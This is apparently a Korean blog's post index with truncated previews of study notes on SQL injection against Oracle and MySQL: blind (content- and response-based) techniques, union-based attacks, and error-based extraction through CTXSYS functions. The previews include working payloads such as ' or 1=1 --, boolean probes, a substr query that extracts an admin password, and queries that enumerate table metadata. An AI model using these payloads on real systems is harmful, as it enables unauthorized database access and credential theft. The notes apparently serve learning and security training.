전체 글
Hi,
-
Contents Based search_type=1=1+andtitle&keyword=test# 참 :기준문자 test가 출력 search_type=1=2+andtitle&keyword=test# 거짓 : 기준문자 test가 출력 되지 않음 Blind Based 서버의 참/거짓에 응답값을 가지고 문자열을 유추 3가지 탐색 방식 1. 순차 탐색 2. 이진 탐색 3. 비트 연산 탐색 비 순차 탐색방식 ( 메타데이터 조회 ) # 1. 사용자 계정 개수 세기 SELECT count(*) FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE owner like '%C##%'; # rownum은 1줄만 출력하기위해 ( 하나의..
Oracle Blind BasedContents Based search_type=1=1+andtitle&keyword=test# 참 :기준문자 test가 출력 search_type=1=2+andtitle&keyword=test# 거짓 : 기준문자 test가 출력 되지 않음 Blind Based 서버의 참/거짓에 응답값을 가지고 문자열을 유추 3가지 탐색 방식 1. 순차 탐색 2. 이진 탐색 3. 비트 연산 탐색 비 순차 탐색방식 ( 메타데이터 조회 ) # 1. 사용자 계정 개수 세기 SELECT count(*) FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE owner like '%C##%'; # rownum은 1줄만 출력하기위해 ( 하나의..
2022.07.06 -
Union 기반 SQL 구문을 전송하고 공격자가 의도한 데이터를 받는 공격 1. 웹 어플리케이션 조건 사용자 입력값을 통해 완성된 커리로 데이터가 DB에서 반환되어야 한다 2. 다양한 제약 조건 대용량 데이터 타입은 중복 제거가 불가능하다 ( 단, MYSQL 예외 ) 대용량 데이터 타입은 정렬이 불가능하다 ( 단, MYSQL 예외 ) 하위 SELECT 절의 컬럼 개수는 반드시 상위 SELECT 컬럼 개수와 일치해야한다. Union으로 조회하려는 데이터와 추출하려고 하는 데이터의 타입이 일치해야한다( 단,MYSQL 예외 ) MYSQL에서 사용하는 대용량 타입 : text, ntext,image 등 ORACLE에서 사용하는 대용량 타입 : clob , nclob, bolob 등 Union과 Union All..
ORACLE Union BasedUnion 기반 SQL 구문을 전송하고 공격자가 의도한 데이터를 받는 공격 1. 웹 어플리케이션 조건 사용자 입력값을 통해 완성된 커리로 데이터가 DB에서 반환되어야 한다 2. 다양한 제약 조건 대용량 데이터 타입은 중복 제거가 불가능하다 ( 단, MYSQL 예외 ) 대용량 데이터 타입은 정렬이 불가능하다 ( 단, MYSQL 예외 ) 하위 SELECT 절의 컬럼 개수는 반드시 상위 SELECT 컬럼 개수와 일치해야한다. Union으로 조회하려는 데이터와 추출하려고 하는 데이터의 타입이 일치해야한다( 단,MYSQL 예외 ) MYSQL에서 사용하는 대용량 타입 : text, ntext,image 등 ORACLE에서 사용하는 대용량 타입 : clob , nclob, bolob 등 Union과 Union All..
2022.07.06 -
CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual)) CTXSYS.CTX_QUERY.CHK_XPATH((SELECT user FROM dual),1) 새로운 사용자 , 테이블, 컬럼, 데이터 확인 1. 새로운 사용자 확인 CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=1)) CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=2)) CTXSYS.DRITHSX.SN..
Oracle database 공격 실습CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual)) CTXSYS.CTX_QUERY.CHK_XPATH((SELECT user FROM dual),1) 새로운 사용자 , 테이블, 컬럼, 데이터 확인 1. 새로운 사용자 확인 CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=1)) CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=2)) CTXSYS.DRITHSX.SN..
2022.07.05 -
' or 1=1 -- ' and 1=1 -- : 출력 o > SELECT * FROM tb_board WHERE title like '%' and 1=1 -- %' ' and 1=2 -- : 출력 x 1. 에러 유무 분석 / 취약점 진단 / 공격 조건문 완성 ' or 1=1 -- ' or 1=2 -- >> 결과가 동일할 때 조건문 구문이 아니다 ' or 1=1 and 1=1 -- ' or 1=2 and 1=2 -- 2. 환경 분석 3. 공격 선택 4. 메타데이터 조회 5. rownum 가상 컬럼 # mysql : #,-- (주석) # oracle: --(주석) SELECT username FROM all_users; > 유저이름 정상출력 SELECT rownum,username FROM all_users..
ORACLE INJECTION' or 1=1 -- ' and 1=1 -- : 출력 o > SELECT * FROM tb_board WHERE title like '%' and 1=1 -- %' ' and 1=2 -- : 출력 x 1. 에러 유무 분석 / 취약점 진단 / 공격 조건문 완성 ' or 1=1 -- ' or 1=2 -- >> 결과가 동일할 때 조건문 구문이 아니다 ' or 1=1 and 1=1 -- ' or 1=2 and 1=2 -- 2. 환경 분석 3. 공격 선택 4. 메타데이터 조회 5. rownum 가상 컬럼 # mysql : #,-- (주석) # oracle: --(주석) SELECT username FROM all_users; > 유저이름 정상출력 SELECT rownum,username FROM all_users..
2022.07.05 -
1. 웹사이트 자체 에러 페이지가 뜨지 않을 때 2. 데이터 베이스 응답이 아닌 서버 응답으로 나올 때 3. Order by절이 불가능할 때 다양한 Blind 공격 방법 Content Blind (기준문자) Response Blind (응답메세지) 다양한 Blind 탐색 기법 순차 탐색 이진 탐색 비트연산 탐색 Blind 공격 핵심은 서버의 참과 거짓의 응답을 가지고 판별 Content Based 게시판 자체에서 참/거짓을 판별할 수 있는 데이터가 있는 경우 ex) test라는 기준문자를 가지고 검색을 하였을 때 참 : test가 포함된 구문이 출력 거짓 : 아무 문자도 출력이 되지 않음 Response Based 서버의 응답사이즈를 보고 결정 참 : 게시글이 존재하지 않습니다 거짓 : 페이지 에러 안내..
Blind Injection -21. 웹사이트 자체 에러 페이지가 뜨지 않을 때 2. 데이터 베이스 응답이 아닌 서버 응답으로 나올 때 3. Order by절이 불가능할 때 다양한 Blind 공격 방법 Content Blind (기준문자) Response Blind (응답메세지) 다양한 Blind 탐색 기법 순차 탐색 이진 탐색 비트연산 탐색 Blind 공격 핵심은 서버의 참과 거짓의 응답을 가지고 판별 Content Based 게시판 자체에서 참/거짓을 판별할 수 있는 데이터가 있는 경우 ex) test라는 기준문자를 가지고 검색을 하였을 때 참 : test가 포함된 구문이 출력 거짓 : 아무 문자도 출력이 되지 않음 Response Based 서버의 응답사이즈를 보고 결정 참 : 게시글이 존재하지 않습니다 거짓 : 페이지 에러 안내..
2022.07.04 -
Blind Injection content Based Response Based 순차 탐색 이진 탐색 Bit 연산 탐색 SELECT substr((SELECT password FROM board.members WHERE id='admin'),1,1)='a'; SELECT substr((SELECT password FROM board.members WHERE id='admin'),1,1)='@'; Blind Injection 공격의 핵심은 참/거짓을 판별하여 응답값을 받는 것 메타데이터 매핑 DB이름 목록화 Table 이름 목록화 Column 이름의 목록화 개발자 입장에서 목록들을 유추해야한다 SELECT table_name FROM information_schema...
Blind Injection -1Blind Injection content Based Response Based 순차 탐색 이진 탐색 Bit 연산 탐색 SELECT substr((SELECT password FROM board.members WHERE id='admin'),1,1)='a'; SELECT substr((SELECT password FROM board.members WHERE id='admin'),1,1)='@'; Blind Injection 공격의 핵심은 참/거짓을 판별하여 응답값을 받는 것 메타데이터 매핑 DB이름 목록화 Table 이름 목록화 Column 이름의 목록화 개발자 입장에서 목록들을 유추해야한다 SELECT table_name FROM information_schema...
2022.07.01